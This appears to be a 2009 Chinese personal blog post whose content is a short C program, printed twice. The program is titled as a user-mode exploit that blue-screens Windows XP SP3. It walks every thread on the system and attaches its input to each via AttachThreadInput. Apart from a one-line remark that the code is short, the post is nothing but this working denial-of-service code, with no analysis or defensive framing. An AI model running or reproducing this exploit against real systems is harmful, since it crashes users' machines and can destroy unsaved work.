赐予你彩虹的光辉吧!
好利来绿茶面包!
注:看不懂的尽情浏览CLANNAD AfterStory 第8话...
2009年2月23日 星期一
2009年2月22日 星期日
Ring3 User Token BSOD without Native API (Tested on SP3)
UserToken的哟~
代码很简短,我就不注释&Copy MSDN了~
代码很简短,我就不注释&Copy MSDN了~
//////////////////////////////////////////////////////////////////////////
//Ring3 User Token BSOD without Native API (Tested on SP3)
//Author:wye-MIA kid C!
//HomePage:http://wye-anger.blogspot.com/
#include <windows.h>
#include <Tlhelp32.h>
#pragma comment(lib,"user32.lib")
void main()
{
HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
THREADENTRY32 tBuffer={0};
tBuffer.dwSize=sizeof(THREADENTRY32);
if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer))
{
while (Thread32Next(SnapShotHandle,&tBuffer))
{
AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE);
}
}
return ; //
}
//Ring3 User Token BSOD without Native API (Tested on SP3)
//Author:wye-MIA kid C!
//HomePage:http://wye-anger.blogspot.com/
#include <windows.h>
#include <Tlhelp32.h>
#pragma comment(lib,"user32.lib")
void main()
{
HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
THREADENTRY32 tBuffer={0};
tBuffer.dwSize=sizeof(THREADENTRY32);
if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer))
{
while (Thread32Next(SnapShotHandle,&tBuffer))
{
AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE);
}
}
return ; //
}
訂閱:
文章 (Atom)